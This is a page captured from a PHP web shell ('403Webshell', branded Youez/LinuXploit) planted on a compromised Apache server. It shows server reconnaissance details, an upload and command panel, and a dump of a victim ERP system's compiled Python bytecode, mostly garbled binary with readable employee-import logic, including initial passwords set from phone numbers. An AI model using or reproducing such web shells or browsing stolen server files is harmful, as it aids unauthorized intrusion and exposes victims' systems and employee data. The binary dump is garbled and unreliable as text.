403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/employee/methods/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/employee/methods/__pycache__/methods.cpython-310.pyc
o

hͦh�T�@s&dZddlZddlZddlmZddlmZddlZddlm	Z	ddl
mZddlm
Z
ddlmZdd	lmZmZmZmZmZmZmZdd
lmZmZe�e�Zdd�Zd
d�Zdd�Z dd�Z!dd�Z"dd�Z#dd�Z$dd�Z%dd�Z&dd�Z'dd �Z(d!d"�Z)d#d$�Z*d%d&�Z+d'd(�Z,d)d*�Z-dS)+z
employee/methods.py
�N)�datetime)�groupby)�apps)�User)�models)�get_initial_prefix)�Company�
Department�
EmployeeShift�EmployeeType�JobPosition�JobRole�WorkType)�Employee�EmployeeWorkInformationcCs0|�|�}zt|�WdSty|YSw)z4
    This method is returns None or field value
    N)�get�float�
ValueError)�field�dicts�field_value�r�(/var/www/erp/employee/methods/methods.py�convert_nans
�rcCs0td�d}t|�dkrt|�nd}|d|�S)z7
    Sorts items based on a dynamic prefix length.
    Nr�)r�len)�item�prefix�
prefix_lengthrrr�dynamic_prefix_sort*srcCs�tj��}|jdd��d�jddd�}|��s!td�d�d�g}dd	�|D�}d
d	�|D�}t|t	d�}dd	�t
|t	d�D�}|D]}|��d
d	�|D�}|jdd�d�qBdd	�|D�}|rm|�d|d|dg�|S)z9
    This method is used to return ordered badge ids
    N��badge_idr!T)�flatr�0001cSsg|]
}|��rt|��qSr)�isdigit�int��.0rrrr�
<listcomp>D�z)get_ordered_badge_ids.<locals>.<listcomp>cSsg|]}|��s|�qSr�r$r&rrrr(Gs)�keycSsg|]\}}t|��qSr)�list)r'�_�grouprrrr(Ms�cSs"g|]
}tdd�|D��r|�qS)css�|]}|��VqdS�Nr*)r'�charrrr�	<genexpr>Us�z3get_ordered_badge_ids.<locals>.<listcomp>.<genexpr>)�anyr&rrrr(Ts
��cSstd�ttj|���S)N�)r%�join�filter�strr$)�xrrr�<lambda>W�z'get_ordered_badge_ids.<locals>.<lambda>cSsg|]
}|d|dg�qS)r���r)r'r.rrrr(Zr)rr:)
r�objects�all�exclude�order_by�values_list�firstr�sortedrr�sort�insert)�	employees�data�pure_numbers�sorted_data�grouped_datar.�filtered_group�resultrrr�get_ordered_badge_ids5s2

���
��rKcCsfg}|j��D])}t|tj�r|jtkr|�|jdf�qt|tj	�r0|jtkr0|�|jdf�q|S)af
    Checks the relationship of a given model with the Employee model.

    This function iterates through all the fields of the specified model
    and identifies fields that are either `ForeignKey` or `ManyToManyField`
    and are related to the `Employee` model. For each such field, it adds
    the field name and the type of relationship to a list.
    �
ForeignKey�ManyToManyField)
�_meta�
get_fields�
isinstancerrL�
related_modelr�append�namerM)�model�related_fieldsrrrr�&check_relationship_with_employee_modelbs	
�
�rVcCs�g}dd�tjjdd�|D�d�D�}|D] }|d}||vr q|d}t||t|���dd	�}|�|�qg}|r@tj�|�}|S)
zP
    Bulk creation of user instances based on the excel import of employees
    cS�h|]}|j�qSr��username�r'�userrrr�	<setcomp>}s��z*bulk_create_user_import.<locals>.<setcomp>cS�g|]}|d�qS��Emailr�r'�rowrrrr(��z+bulk_create_user_import.<locals>.<listcomp>��username__inr_�PhoneF)rY�email�password�is_superuser)rr;r5r6�striprR�bulk_create)�
success_lists�
user_obj_list�existing_usernames�	work_inforf�phone�user_objrJrrr�bulk_create_user_importxs,��
�rqc

Cs�g}dd�tjjdd�|D�d�D�}|D]8}|d}|�|�}|s#q|d}td|�}td	|�}|d
}	|�dd���}
t||||||	|
d
�}|�|�qg}|rXtj�|�}|S)zT
    Bulk creation of employee instances based on the excel import of employees
    cS�i|]}|j|�qSrrXrZrrr�
<dictcomp>����z/bulk_create_employee_import.<locals>.<dictcomp>cSr]r^rr`rrrr(�rbz/bulk_create_employee_import.<locals>.<listcomp>rcr_�Badge idz
First Namez	Last Namere�Genderr3)�employee_user_idr!�employee_first_name�employee_last_namerfro�gender)	rr;r5rr�lowerrrRrj)
rk�employee_obj_list�existing_usersrnrfr[r!�
first_name�	last_namerorz�employee_objrJrrr�bulk_create_employee_import�s<��


�	r�cCsvt�d�|D],}z|j�t|j��|j��Wqty3}zt�d|���WYd}~qd}~wwt�d�dS)z(
    method to set initial password
    zstarted to set initial passwordz#falied to set initial password for Nzinitial password configured)	�logger�inforw�set_passwordr6ro�save�	Exception�error)rD�employee�errr�set_initial_password�s
��r�cCstt�}|D]}td|�}t|t�rd|vr|�|�qt|�}tjjdd�|D�dd�|D�d�}dd�|D�}|S)	ak
    Optimizes the lookup of reporting managers from a list of work information.

    This function identifies unique reporting manager names from the provided
    list of work information, queries all matching `Employee` objects in a
    single database query, and creates a dictionary for quick lookups based
    on the full name of the reporting managers.
    �Reporting Manager� cS�g|]	}|�d�d�qS)r�r��split�r'rSrrrr(��z5optimize_reporting_manager_lookup.<locals>.<listcomp>cSr�)r��r�r�rrrr(�r�)�employee_first_name__in�employee_last_name__incSs i|]}|j�d|j��|�qS)r�)rxry)r'r�rrrrs����z5optimize_reporting_manager_lookup.<locals>.<dictcomp>)	�setrrPr6�addr,rr;r5)rk�unique_managersrn�reporting_manager�
manager_namesrD�
employee_dictrrr�!optimize_reporting_manager_lookup�s


���r�cCsrdd�|D�}dd�tj��D�}g}|D]}|r,||vr,t|d�}|�|�|�|�q|r7tj�|�dSdS)zV
    Bulk creation of department instances based on the excel import of employees
    cS�h|]}td|��qS)r	�r�r'rnrrrr\��
�z0bulk_create_department_import.<locals>.<setcomp>cSrWr��
department�r'�deprrrr\�sr�N)r	r;r<rRr�rj)rk�departments_to_import�existing_departments�department_obj_listr��department_objrrr�bulk_create_department_import�s�


��r�c	C�dd�|D�}dd�tj��D�}dd�tj��D�}g}|D]*\}}|r'|s(q|�|�}|s0q||jf|vrIt||d�}|�|�||||jf<q|rTtj�|�dSdS)zX
    Bulk creation of job position instances based on the excel import of employees
    cS� h|]}td|�td|�f�qS)�Job Positionr	r�r�rrrr\r�z2bulk_create_job_position_import.<locals>.<setcomp>cSrrrr�r�rrrrs	rbz3bulk_create_job_position_import.<locals>.<dictcomp>cS�i|]	}|j|jf|�qSr)�job_position�
department_id)r'r�rrrrs
����r�r�N)r	r;r<rr�idrRrj)	rk�job_positions_to_import�departments�existing_job_positions�job_position_obj_listr��department_namer��job_position_objrrr�bulk_create_job_position_imports0��
�
��r�c	Cr�)zT
    Bulk creation of job role instances based on the excel import of employees
    cSr�)�Job Roler�r�r�rrrr\(r�z.bulk_create_job_role_import.<locals>.<setcomp>cSrrr)r��r'�jprrrrs-rbz/bulk_create_job_role_import.<locals>.<dictcomp>cSr�r)�job_role�job_position_id�r'�jrrrrrs.s��r�r�N)rr;r<r
rr�rRrj)	rk�job_roles_to_import�
job_positions�existing_job_roles�job_role_obj_listr��job_position_namer��job_role_objrrr�bulk_create_job_role_import#s,��

��r�c�Vdd�|D�}|�d�dd�tj��D���fdd�|D�}|r)tj�|�dSdS)zU
    Bulk creation of work type instances based on the excel import of employees
    cSr�)�	Work Typer�r�rrrr\Kr�z)bulk_create_work_types.<locals>.<setcomp>NcSrrr��	work_type�r'�wtrrrrsQrbz*bulk_create_work_types.<locals>.<dictcomp>c�g|]}|�vrt|d��qS)r�)r)r'r���existing_work_typesrrr(T�
�z*bulk_create_work_types.<locals>.<listcomp>)�discardrr;r<rj)rk�work_types_to_import�work_type_obj_listrr�r�bulk_create_work_typesFs�

��r�cr�)zQ
    Bulk creation of shift instances based on the excel import of employees
    cSr�)�Shiftr�r�rrrr\cr9z%bulk_create_shifts.<locals>.<setcomp>NcSrrr��employee_shift�r'�shiftrrrrsg��z&bulk_create_shifts.<locals>.<dictcomp>cr�)r�)r
r���existing_shiftsrrr(lr�z&bulk_create_shifts.<locals>.<listcomp>)r�r
r;r<rj)rk�shifts_to_import�shift_obj_listrr�r�bulk_create_shifts^s
�
��r�cr�)zY
    Bulk creation of employee type instances based on the excel import of employees
    cSr�)�
Employee Typer�r�rrrr\{r�z-bulk_create_employee_types.<locals>.<setcomp>NcSrrr��
employee_type�r'�etrrrrs�r�z.bulk_create_employee_types.<locals>.<dictcomp>cr�)r�)r)r'r���existing_employee_typesrrr(�r�z.bulk_create_employee_types.<locals>.<listcomp>)r�rr;r<rj)rk�employee_types_to_import�employee_type_obj_listrr�r�bulk_create_employee_typesvs�
�
��r�cs<ddlm�dd����fdd�||D�}�j�|�dS)zP
    Creates employee contracts in bulk based on provided work information.
    r)�ContractcSs|r|SdSr/r)�valuerrr�get_or_none�sz/create_contracts_in_thread.<locals>.get_or_nonec
sjg|]1}|jr�|j�d�|j|jr|jnt���|j��|j��|j��|j��|j�|j	p0dd�	�qS)z's Contractr)	�
contract_name�employee_id�contract_start_dater�r�r�r�r��wage)
r��date_joiningr�todayr�r��job_role_id�shift_id�work_type_id�basic_salaryr��r�r�rrr(�s �
��z.create_contracts_in_thread.<locals>.<listcomp>N)�payroll.models.modelsr�r;rj)�new_work_info_list�update_work_info_list�contracts_listrr�r�create_contracts_in_thread�s�r�c*Cslg}g}dd�|D�}tdd�|D��}tdd�|D��}tdd�|D��}tdd�|D��}tdd�|D��}td	d�|D��}	td
d�|D��}
dd�tjj|d
��d�D�}dd�tjj|��d��d�D�}dd�tjj|d��d�D�}
dd�tjj|d��	d��dd�D�}dd�t
jj|d��	d��dd�D�}dd�tjj|d��d�D�}d d�tjj|	d!��d"�D�}d#d�t
jj|d$��d%�D�}d&d�tjj|
d'��d(�D�}t|�}|D�]'}|d)}|d*}|
�|�d+��}|
�|�d+��|�d,�f}|�|�}|�|�d-��}|�|�d.��}|�|�d/��}|�|�d0��}|�d1�}d2} t|t��rAd3|v�rA||v�rA||} |�|�d4��}!|�d5�}"t�|d6��sZ|d6nt��}#t�|d7��sj|d7nd2}$ttd8|��tu�r{td8|�nd9}%ttd:|��tu�r�td:|�nd9}&|�|�}'|�|'�}(|(d2u�r�t|'|||||||| |!|"t�|#��s�|#nt��t�|$��s�|$nd2|%|&d;�}(|�|(�q�||(_||(_||(_||(_||(_||(_ ||(_!| |(_"|!|(_#|"|(_$t�|#��s�|#nt��|(_%t�|$��s�|$nd2|(_&|%|(_'|&|(_(|�|(�q�|�rtj�)|�|�rtj�*|gd<��t+�,d=��r4t-j.t/||fd>�})|)�0�d2Sd2S)?z^
    Bulk creation of employee work info instances based on the excel import of employees
    cSr])rurr`rrrr(�rbz0bulk_create_work_info_import.<locals>.<listcomp>cs��|]}|�d�VqdS)r	N�rr`rrrr1���z/bulk_create_work_info_import.<locals>.<genexpr>csr�)r�Nrr`rrrr1�rcsr�)r�Nrr`rrrr1�rcsr�)r�Nrr`rrrr1�rcsr�)r�Nrr`rrrr1�rcsr�)r�Nrr`rrrr1�rcsr�)rNrr`rrrr1�rcSrrrr �r'�emprrrrs�rtz0bulk_create_work_info_import.<locals>.<dictcomp>)�badge_id__inr!cSrrr)r�rrrrrs�rt)�employee_id__inr�cSrrrr�r�rrrrs�rt)�department__inr�cSr�rr�r�rrrrs�r�)�job_position__inr�r�cSr�rr�r�rrrrs�r�)�job_role__inr�r�cSrrrr�r�rrrrs�rt)�
work_type__inr�cSrrrr�)r'�esrrrrs�rt)�employee_shift__inr�cSrrrr�r�rrrrs�rt)�employee_type__inr�cSrrr)�company)r'�comprrrrs�rt)�company__inr
r_rur	r�r�r�r�r�r�Nr�r�LocationzDate joiningzContract End DatezBasic SalaryrzSalary Hour)r�rfr�r�r�r��employee_type_idr��reporting_manager_id�
company_id�locationr��contract_end_dater��salary_hour)rfr�r�r�r�rr�rrrr�rr�r�payroll)�target�args)1r�rr;r5�onlyr�valuesr	r�select_relatedr
rr
rrr�rrPr6�pd�isnullrr��typerr%rRrfr�r�r�r�rr�rrrr�rr�rrj�bulk_updater�is_installed�	threading�Threadr��start)*rkr�r��	badge_idsr�r��	job_roles�
work_types�employee_types�shifts�	companies�existing_employees�existing_employee_work_infosr�r�r�r�r�r��existing_companies�reporting_manager_dictrnrfr!r�r+r�r��
work_type_obj�employee_type_obj�	shift_objr��reporting_manager_obj�company_objrr�rr�rr��employee_work_info�contract_creation_threadrrr�bulk_create_work_info_import�s�������������
�



����
��
��


������r6).�__doc__�loggingr"r�	itertoolsr�pandasr�django.appsr�django.contrib.auth.modelsr�	django.dbr�base.context_processorsr�base.modelsrr	r
rrr
r�employee.modelsrr�	getLogger�__name__r�rrrKrVrqr�r�r�r�r�r�r�r�r�r�r6rrrr�<module>s:$	
-("#

Youez - 2016 - github.com/yon3zu
LinuXploit